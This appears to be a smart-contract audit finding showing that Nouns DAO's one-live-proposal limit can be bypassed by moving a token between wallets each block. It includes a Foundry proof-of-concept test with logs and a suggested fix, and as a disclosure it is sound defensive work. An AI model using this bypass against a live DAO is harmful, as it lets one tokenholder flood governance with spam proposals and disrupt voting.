[Lines of code](https://github.com/nounsDAO/nouns-monorepo/blob/718211e063d511eeda1084710f6a682955e80dcb/packages/nouns-contracts/contracts/governance/NounsDAOV3Proposals.sol#L160-L187) # Vulnerability details The propose() function on NounsDAOV3Proposals.sol has a check called checkNoActiveProp(ds, msg.sender), which exists to prevent token holders from spamming the propose function. Furthermore, the proposeOnTimelockV1() function calls propose() directly, making it susceptible, and proposeBySigs() makes an internal call to verifySignersCanBackThisProposalAndCountTheirVotes, which also calls checkNoActiveProp(ds, msg.sender). Likewise, the propose() function on NounsDAOLogicV1Fork.sol has this check which is put in place to also prevent spamming the DAO with proposals: temp.latestProposalId = latestProposalIds[msg.sender]; if (temp.latestProposalId != 0) { ProposalState proposersLatestProposalState = state(temp.latestProposalId); require( proposersLatestProposalState != ProposalState.Active, 'NounsDAO::propose: one live proposal per proposer, found an already active proposal' ); require( proposersLatestProposalState != ProposalState.Pending, 'NounsDAO::propose: one live proposal per proposer, found an already pending proposal' ); } However, this is easily bypassed by a tokenholder if they create a proposal, transfer their token to another wallet, wait at least one block to satisfy the ds.nouns.getPriorVotes(msg.sender, block.number - 1), and then create another proposal. Being as how a new block is created about every 12 seconds, a user can ‘slow spam’ the propose function since there is no cap on the amount of existing proposals at any given time. ## Impact Since a malicious tokenholder can create as many proposals as they want as long as they wait until the next block, the sheer amount of spammed proposals can grief the members of the DAO, possibly even preventing them from voting on valid proposals because they would have to sift through all the unnecessary, spammed proposals. However, since only a tokenholder can accomplish this attack, it would not benefit them in any way making the likelihood of this attack low, but the impact could potentially be high, making this an attack of medium severity. ## Proof of Concept This issue arises on the propose functions (including the proposeBySigs function and proposeOnTimelockV1 function) on two separate contracts: NounsDAOV3Proposals.sol NounsDAOLogicV1Fork.sol Being as how the attack can be done in the same exact manner on both contracts, I will provide specific details that pertain to performing this attack on NounsDAOV3Proposals.sol, but just know that this procedure can be applied directly to the other functions as well. Starting with this line: checkNoActiveProp(ds, msg.sender); checkNoActiveProp is making an internal call to: function checkNoActiveProp(NounsDAOStorageV3.StorageV3 storage ds, address proposer) internal view { uint256 latestProposalId = ds.latestProposalIds[proposer]; if (latestProposalId != 0) { NounsDAOStorageV3.ProposalState proposersLatestProposalState = stateInternal(ds, latestProposalId); if ( proposersLatestProposalState == NounsDAOStorageV3.ProposalState.ObjectionPeriod || proposersLatestProposalState == NounsDAOStorageV3.ProposalState.Active || proposersLatestProposalState == NounsDAOStorageV3.ProposalState.Pending || proposersLatestProposalState == NounsDAOStorageV3.ProposalState.Updatable ) revert ProposerAlreadyHasALiveProposal(); } } and passing msg.sender in as the proposer parameter. As you can see, the second line in this function: uint256 latestProposalId = ds.latestProposalIds[proposer]; is consequently checking the mapping of ds.latestProposalIds by passing in msg.sender as the key. If one were to transfer their Noun token to another wallet, they will ultimately have a different msg.sender, resulting in a different mapping, allowing a malicious tokenholder to easily bypass this check. The following test demonstrates this attack: contract WoolCentaurMultipleProposals is NounsDAOLogicV3BaseTest { address proposer = makeAddr('proposer'); address rando = makeAddr('rando'); address rando2 = makeAddr('rando2'); uint256 proposalId; uint256 proposalId2; uint256 proposalId3; function setUp() public override { super.setUp(); mintTo(proposer); //To show the token balance of the proposer after minting emit log_named_uint("balanceOfProposer_mint", nounsToken.balanceOf(proposer)); } function test_userCreateMultipleProposalsWithWalletTransfer() public { //The block.number at the start of the attack emit log_named_uint("block.number_beforeFirstProposal", block.number); //Proposer creating the proposal proposalId = propose(proposer, proposer, 0.01 ether, '', '', ''); //To show the token balance of the proposer and rando before and after token transfer emit log_named_uint("balanceOfProposer_before", nounsToken.balanceOf(proposer)); emit log_named_uint("balanceOfRando_before", nounsToken.balanceOf(rando)); //Transferring the token to another the rando wallet vm.prank(proposer); nounsToken.transferFrom(proposer, rando, 1); emit log_named_uint("balanceOfProposer_after", nounsToken.balanceOf(proposer)); emit log_named_uint("balanceOfRando_after", nounsToken.balanceOf(rando)); //Must increment the block.number by at least 1 to satisfy the ds.nouns.getPriorVotes(msg.sender, block.number - 1) vm.roll(block.number + 1); //Creating second proposal from the same tokenId proposalId2 = propose(rando, rando, 0.01 ether, '', '', ''); //Transferring the token to another the rando2 wallet vm.prank(rando); nounsToken.transferFrom(rando, rando2, 1); //Proving that the token in fact transferred emit log_named_uint("balanceOfRando_after", nounsToken.balanceOf(rando)); emit log_named_uint("balanceOfRando2_after", nounsToken.balanceOf(rando2)); vm.roll(block.number + 1); //Creating a third proposal with the same tokenId proposalId3 = propose(rando2, rando2, 0.01 ether, '', '', ''); //The block.number at the end of this attack emit log_named_uint("block.number_afterThirdProposal", block.number); //Warping the block time forward just to prove that all three proposals are in fact active vm.roll(block.number + dao.proposalUpdatablePeriodInBlocks() + dao.votingDelay() + 1); assertTrue(dao.state(proposalId) == NounsDAOStorageV3.ProposalState.Active); assertTrue(dao.state(proposalId2) == NounsDAOStorageV3.ProposalState.Active); assertTrue(dao.state(proposalId3) == NounsDAOStorageV3.ProposalState.Active); } } and here is the logged output: [PASS] test_userCreateMultipleProposalsWithWalletTransfer() (gas: 1423788) Logs: balanceOfProposer_mint: 1 block.number_beforeFirstProposal: 2 balanceOfProposer_before: 1 balanceOfRando_before: 0 balanceOfProposer_after: 0 balanceOfRando_after: 1 balanceOfRando_after: 0 balanceOfRando2_after: 1 block.number_afterThirdProposal: 4 As you can see, the test passed and three proposals were created with the same tokenId in the span of three blocks: block numbers 2, 3, and 4. ## Tools Used Foundry ## Recommended Mitigation Steps If ds.latestProposalIds mapping were to take in the tokenId as the key rather than the proposer, then the amount of proposals that can be backed by each noun would be limited to just one. ## Assessed type Token-Transfer --- The text was updated successfully, but these errors were encountered: All reactions